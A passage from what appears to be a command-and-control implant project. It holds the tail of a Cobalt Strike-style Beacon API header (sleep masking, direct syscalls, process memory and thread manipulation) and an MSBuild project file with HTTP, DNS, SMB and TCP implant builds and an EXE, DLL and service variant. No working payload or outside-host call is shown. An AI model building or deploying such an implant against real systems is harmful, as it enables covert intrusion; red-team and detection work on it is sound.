} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, * PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, * PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, * PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, * PALLOCATED_MEMORY;
/*
* version - The version of the beacon dll was added for release 4.10
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*
* Added in version 4.10
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
* via a UDRL.
*/
typedef struct {
unsigned int version;
char* sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char* beacon_ptr;
HEAP_RECORD* heap_records;
char mask[MASK_SIZE];
ALLOCATED_MEMORY allocatedMemory;
} BEACON_INFO, * PBEACON_INFO;
BOOL BeaconInformation(PBEACON_INFO info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
BOOL BeaconAddValue(const char* key, void* ptr);
void* BeaconGetValue(const char* key);
BOOL BeaconRemoveValue(const char* key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, * PDATA_STORE_OBJECT;
PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
void BeaconDataStoreProtectItem(size_t index);
void BeaconDataStoreUnprotectItem(size_t index);
ULONG BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
char* BeaconGetCustomUserData();
/* Beacon System call */
/* Syscalls API */
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, * PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
} SYSCALL_API, * PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, * PRTL_API;
typedef struct
{
PSYSCALL_API syscalls;
PRTL_API rtls;
} BEACON_SYSCALLS, * PBEACON_SYSCALLS;
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized);
///* Beacon System call functions which will use the current system call method */
LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DWORD BeaconResumeThread(HANDLE threadHandle);
HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
BOOL BeaconCloseHandle(HANDLE object);
BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#ifdef __cplusplus
}
#endif // __cplusplus
/// ADD CUSTOM
HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName);
HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName);
FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
BOOL proxy_FreeLibrary(HMODULE hLibModule);
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData);
BOOL BeaconUnregisterThreadCallback();
void BeaconWakeup();
HANDLE BeaconGetStopJobEvent();
+542
View File
@@ -0,0 +1,542 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug EXE|Win32">
<Configuration>Debug EXE</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug EXE|x64">
<Configuration>Debug EXE</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug_DNS|Win32">
<Configuration>Debug_DNS</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug_DNS|x64">
<Configuration>Debug_DNS</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug_SMB|Win32">
<Configuration>Debug_SMB</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug_SMB|x64">
<Configuration>Debug_SMB</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug_TCP|Win32">
<Configuration>Debug_TCP</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug_TCP|x64">
<Configuration>Debug_TCP</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release DLL|Win32">
<Configuration>Release DLL</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release DLL|x64">
<Configuration>Release DLL</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release EXE|Win32">
<Configuration>Release EXE</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release EXE|x64">
<Configuration>Release EXE</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release SVC|Win32">
<Configuration>Release SVC</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release SVC|x64">
<Configuration>Release SVC</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{99a5f42e-60a8-4f1e-9dff-35443b972707}</ProjectGuid>
<RootNamespace>beacon</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Debug EXE|x64'">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|x64'" Label="Configuration">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|x64'" Label="Configuration">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|x64'" Label="Configuration">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Label="Configuration" Condition="'$(Configuration)|$(Platform)'=='Debug EXE|Win32'">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|Win32'" Label="Configuration">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|Win32'" Label="Configuration">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|Win32'" Label="Configuration">
<PlatformToolset>v143</PlatformToolset>
<UseDebugLibraries>false</UseDebugLibraries>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<EntryPointSymbol>MainExe</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>BUILD_SVC;SERVICE_NAME=L"BeaconService";%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>MainSvc</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>BUILD_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release EXE|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>WinMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release SVC|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<ConformanceMode>true</ConformanceMode>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>BUILD_SVC;SERVICE_NAME=L"BeaconService";%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>MainSvc</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>BUILD_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<WholeProgramOptimization>false</WholeProgramOptimization>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>DllMain</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|Win32'">
<Link>
<EntryPointSymbol>MainExe</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|Win32'">
<Link>
<EntryPointSymbol>MainExe</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|Win32'">
<Link>
<EntryPointSymbol>MainExe</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_TCP|Win32'">
<Link>
<EntryPointSymbol>MainExe</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug EXE|x64'">
<Link>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
<PreprocessorDefinitions>BEACON_HTTP;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_SMB|x64'">
<Link>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
<PreprocessorDefinitions>BEACON_SMB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug_DNS|x64'">
<Link>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
</Link>
<ClCompile>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<SDLCheck>false</SDLCheck>
<Optimization>Disabled</Optimization>
<ConformanceMode>true</ConformanceMode>
<AdditionalOptions>/D DEBUG %(AdditionalOptions)</AdditionalOptions>
